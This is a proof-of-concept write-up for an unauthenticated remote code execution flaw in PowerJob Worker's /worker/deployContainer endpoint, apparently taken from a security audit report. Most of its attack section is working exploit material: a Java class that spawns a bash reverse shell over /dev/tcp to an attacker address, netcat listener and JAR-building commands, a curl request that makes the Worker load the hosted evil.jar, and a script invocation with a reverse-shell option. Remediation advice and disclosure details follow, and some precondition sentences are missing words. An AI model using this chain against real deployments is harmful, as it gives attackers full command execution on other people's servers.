
Proof-of-concept exploit for CVE-2026-75430, achieving unauthenticated remote code execution on PowerJob Worker via arbitrary JAR loading through the deployContainer endpoint.
/worker/deployContainer (Arbitrary JAR Loading)The PowerJob Worker exposes the deployContainer handler on its HTTP transport port 27777 with no authentication whatsoever. An attacker submits an arbitrary URL; the Worker downloads that JAR and loads it via URLClassLoader + Spring ClassPathXmlApplicationContext, executing arbitrary code during the Spring init-method → Worker RCE. The default docker-compose publishes this port to the host.
Precondition (honest statement): the Worker must be running (27777 listening). In the default configuration the Worker validates at startup that its app is registered on the server (); (verified: the Java process exits with code 1). Therefore a strictly fresh "docker-compose up with no console setup" state is not directly exploitable. However, (otherwise the system schedules no jobs), so , after which the exploit is zero-credential. By contrast, the sibling finding PJ-08 (server ) has no such precondition — the server binds 10010 at startup unconditionally.
/server/assert/friend/processpowerjob-worker, deployed via the official powerjob-worker-samples image)docker-compose.yml worker service, HTTP protocol, port 27777 (PowerJobWorkerConfig.java:34)| Item | Value |
|---|---|
| Entry point | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), no authentication) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Load | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Request body ServerDeployContainerRequest (fields containerId/containerName/version/downloadURL).
WorkerActor handler fully trusts downloadURL.OmsContainerFactory downloads the JAR from an arbitrary URL and immediately calls OmsJarContainer.init(): URLClassLoader load + Spring context refresh() → malicious code runs during class/Bean initialization.Precondition: the Worker is running and 27777 is listening (satisfied by any production/demo deployment; if the operator followed the official flow and created the sample app, the Worker is online). For reproduction, the Worker can be started with --powerjob.worker.allow-lazy-connect-server=true to skip the app-registration check (not recommended in production; note the switch only affects whether the Worker comes online — it does not change the missing authentication on the open port).
OmsJarContainer.init()):
oms-worker-container.properties with PACKAGE_NAME=com.evilcom/evil/Exploit.class — a class exposing a Spring init-method (e.g. run()) that executes a commandoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer to the Worker port 27777 with body {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() loads the class (does not run static initializers), then ClassPathXmlApplicationContext.refresh() instantiates the bean and invokes the init-method → arbitrary command execution (with the Worker's runtime privileges).AbstractScriptProcessor.java:118-123 also supports downloading from an arbitrary URL → Worker-side SSRF.No output echo: the
deployContainerhandler returnsvoid, so the HTTP response carries no command output (verified: empty body). For interactive command execution the primary technique is a reverse shell (see Reproduction below); the marker-file variant is only a local, non-interactive verification.
Environment: JDK 21, source-built powerjob-worker-samples-5.1.2.jar, Worker listening on 192.168.49.128:27777 (started with --powerjob.worker.allow-lazy-connect-server=true to skip app registration).
Primary — reverse shell (interactive command execution):
The malicious JAR's Exploit.run() (Spring init-method) spawns a reverse shell. Since there is no output echo, this is the effective way to obtain interactive command execution on the Worker host.
# 1) Attacker listens first:
nc -lvnp 7878
# 2) Evil JAR construction — Exploit.run() runs a bash reverse shell
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # host evil.jar
# 3) Trigger (no credentials):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

Alternatively, use the script to verify: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC key point:
OhMyClassLoader.load()only callsloadClass(), which does not run static initializers; the actual execution point is the Spring init-method invoked byClassPathXmlApplicationContext.refresh(). The malicious JAR must therefore carry the Spring XML and declareinit-method. The reverse shell must run via/bin/bash -cbecause/bin/sh(dash) does not parse/dev/tcp.
deployContainer to be triggered only by a trusted Server and validate the source.downloadURL to trusted internal addresses; verify the JAR hash/signature before loading.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CriticalPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, no credentials → Worker RCE); see ## 6. ReproductionPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (auto-build JAR + host + trigger, --reverse-shell, -p/--proxy)SECURITY.md channel (Tidelift / [email protected] / GitHub Security Advisory)